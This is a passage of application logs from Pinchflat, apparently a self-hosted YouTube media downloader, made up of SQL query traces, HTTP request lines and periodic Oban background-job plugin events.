NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:25:53.967 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 13:25:53.968 [info] Sent 200 in 23ms 13:26:00.076 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:26:22.650 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:52.651 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.077 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:27:22.652 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:52.653 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.079 [info] {"source":"oban","duration":385,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:28:22.655 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:52.656 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.079 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:29:22.657 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:52.658 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.080 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:30:22.659 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:52.660 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.081 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:31:22.662 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:52.663 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.082 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:32:22.664 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:52.665 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.083 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:33:22.666 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:52.667 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.084 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:34:22.668 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:52.669 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.085 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:35:22.670 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:52.671 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.086 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:36:22.672 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:52.673 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.087 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:37:22.675 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:37.446 [info] GET /app_info 13:37:37.446 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 13:37:37.446 [debug] QUERY OK source="settings" db=0.1ms idle=967.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:37:37.447 [debug] QUERY OK source="settings" db=0.1ms idle=916.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:37:37.447 [debug] QUERY OK source="settings" db=0.1ms idle=916.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:37:37.448 [debug] QUERY OK source="settings" db=0.1ms idle=917.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:37:37.448 [debug] QUERY OK source="settings" db=0.1ms idle=917.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:37:37.449 [info] Sent 200 in 2ms 13:37:52.676 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.088 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:38:22.677 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:52.678 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.089 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:39:22.679 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:52.681 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:54.970 [info] GET /settings 13:39:54.970 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 13:39:54.971 [debug] QUERY OK source="settings" db=0.1ms idle=440.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:39:54.971 [debug] QUERY OK source="settings" db=0.0ms idle=440.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:39:54.971 [debug] QUERY OK source="settings" db=0.0ms idle=440.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:39:54.972 [debug] QUERY OK source="settings" db=0.1ms idle=441.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:39:54.973 [info] Sent 200 in 2ms 13:40:00.090 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:40:22.682 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:26.674 [info] GET /sources/3/media/9353 13:40:26.674 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "9353", "source_id" => "3"} Pipelines: [:browser] 13:40:26.675 [debug] QUERY OK source="media_items" db=0.1ms idle=144.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9353] 13:40:26.675 [debug] QUERY OK source="tasks" db=0.1ms idle=144.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [9353] 13:40:26.675 [debug] QUERY OK source="sources" db=0.1ms idle=144.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:40:26.676 [debug] QUERY OK source="settings" db=0.1ms idle=145.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:40:26.676 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:40:26.676 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:40:26.677 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:40:26.678 [info] Sent 200 in 4ms 13:40:52.683 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.091 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:41:09.482 [info] GET /sources/2/media/12518 13:41:09.482 [info] GET /sources/3/media/12546 13:41:09.482 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12518", "source_id" => "2"} Pipelines: [:browser] 13:41:09.482 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12546", "source_id" => "3"} Pipelines: [:browser] 13:41:09.483 [debug] QUERY OK source="media_items" db=0.4ms idle=952.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 13:41:09.483 [debug] QUERY OK source="media_items" db=0.4ms idle=1761.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 13:41:09.484 [debug] QUERY OK source="tasks" db=0.6ms idle=952.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12518] 13:41:09.484 [debug] QUERY OK source="tasks" db=0.6ms idle=952.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12546] 13:41:09.484 [debug] QUERY OK source="sources" db=0.7ms idle=761.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:41:09.484 [debug] QUERY OK source="sources" db=0.7ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:41:09.485 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=1.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1615, 1620, 1632, 1637, 1650, 1655, 1667, 1672, 1685, 1690, 1702, 1707, 1719, 1724, 1734] 13:41:09.485 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=0.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?)) [1624, 1629, 1641, 1646, 1659, 1664, 1676, 1681, 1694, 1699, 1711, 1716, 1728] 13:41:09.485 [debug] QUERY OK source="settings" db=0.2ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:09.485 [debug] QUERY OK source="settings" db=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:09.486 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:09.486 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:09.486 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:09.486 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:09.487 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:09.487 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:09.489 [info] Sent 200 in 7ms 13:41:09.489 [info] Sent 200 in 7ms 13:41:22.685 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:52.686 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.092 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:42:04.943 [info] GET /sources 13:42:04.943 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 13:42:04.943 [debug] QUERY OK source="settings" db=0.1ms idle=1164.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:04.943 [debug] QUERY OK source="settings" db=0.1ms idle=413.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:04.944 [debug] QUERY OK source="settings" db=0.1ms idle=413.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:04.945 [debug] QUERY OK source="settings" db=0.1ms idle=414.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:04.945 [debug] QUERY OK source="settings" db=0.1ms idle=164.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:04.947 [debug] QUERY OK source="sources" db=1.9ms idle=1.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 13:42:04.954 [debug] QUERY OK source="sources" db=6.2ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 